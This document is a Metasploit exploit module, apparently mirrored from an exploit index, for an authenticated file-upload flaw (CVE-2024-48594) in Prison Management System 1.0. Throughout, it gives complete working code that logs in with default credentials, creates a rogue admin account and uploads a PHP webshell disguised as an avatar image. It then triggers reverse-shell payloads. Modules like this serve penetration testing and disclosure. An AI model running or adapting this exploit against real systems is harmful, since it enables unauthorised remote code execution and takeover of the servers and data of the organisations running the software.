Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-PRISON_MANAGEMENT_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Prison Management System 1.0 Authenticated RCE via Unrestricted File Upload',
'Description' => %q{
This module exploits an unrestricted file upload vulnerability in Prison Management System 1.0.
An authenticated user can upload a PHP file with arbitrary content by abusing the avatar upload
functionality in the add-admin.php endpoint. The application fails to properly validate the
uploaded file type, allowing an attacker to upload a PHP webshell.
},
'License' => MSF_LICENSE,
'Author' => [
'Alexandru Ionut Raducu',
],
'References' => [
['CVE', '2024-48594'],
['URL', 'https://www.sourcecodester.com/sql/17287/prison-management-system.html']
],
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'Type' => :php
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_X86],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
]
],
'Privileged' => false,
'DisclosureDate' => '2024-10-28',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to Prison Management System', '/']),
OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
OptString.new('PASSWORD', [true, 'Password for authentication', 'admin123'])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php')
)
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Detected("Unexpected response code: #{res.code}") unless res.code == 200
if res.body.include?('Prison Management System') || res.body.include?('txtusername')
return CheckCode::Detected('Prison Management System login page detected')
end
CheckCode::Safe('Target does not appear to be Prison Management System')
end
def login
print_status("Attempting to authenticate as #{datastore['USERNAME']}...")
# First GET request to obtain session cookie
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'),
'keep_cookies' => true
)
fail_with(Failure::Unreachable, 'Connection failed while fetching login page') unless res
fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
vprint_status("Retrieved session cookie: #{res.get_cookies}")
# POST login credentials
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'),
'keep_cookies' => true,
'vars_post' => {
'txtusername' => datastore['USERNAME'],
'txtpassword' => datastore['PASSWORD'],
'btnlogin' => ''
}
)
fail_with(Failure::Unreachable, 'Connection failed during login') unless res
fail_with(Failure::NoAccess, 'Login failed - invalid credentials') unless res.code == 302
print_good('Successfully authenticated!')
end
def upload_webshell
@webshell_name = Rex::Text.rand_text_alpha(8) + '.php'
case target['Type']
when :php
php_payload = payload.encoded
when :unix_cmd
php_payload = "<?php system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>"
when :linux_dropper
php_payload = "<?php system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>"
end
# Generate random form data for the new admin user
random_username = Rex::Text.rand_text_alpha(8)
random_fullname = Rex::Text.rand_text_alpha(8)
random_password = Rex::Text.rand_text_alpha(8)
random_phone = Rex::Text.rand_text_numeric(10)
print_status("Uploading webshell as #{@webshell_name}...")
# Build multipart form data
form_data = Rex::MIME::Message.new
form_data.add_part(random_username, nil, nil, 'form-data; name="txtusername"')
form_data.add_part(random_fullname, nil, nil, 'form-data; name="txtfullname"')
form_data.add_part(random_password, nil, nil, 'form-data; name="txtpassword"')
form_data.add_part(random_phone, nil, nil, 'form-data; name="txtphone"')
form_data.add_part('', nil, nil, 'form-data; name="btncreate"')
form_data.add_part(php_payload, 'image/jpeg', nil, "form-data; name=\"avatar\"; filename=\"#{@webshell_name}\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'Admin', 'add-admin.php'),
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s,
'keep_cookies' => true
)
fail_with(Failure::Unreachable, 'Connection failed during upload') unless res
fail_with(Failure::UnexpectedReply, 'File upload failed') unless res.code == 200 && res.body.include?('User Added Successfully')
@webshell_path = normalize_uri(target_uri.path, 'uploadImage', 'Profile', @webshell_name)
register_file_for_cleanup(@webshell_name)
print_good("Webshell uploaded to #{@webshell_path}")
end
def execute_webshell
print_status('Triggering payload execution...')
send_request_cgi({
'method' => 'GET',
'uri' => @webshell_path,
'keep_cookies' => true
}, 5)
end
def exploit
login
upload_webshell
execute_webshell
end
end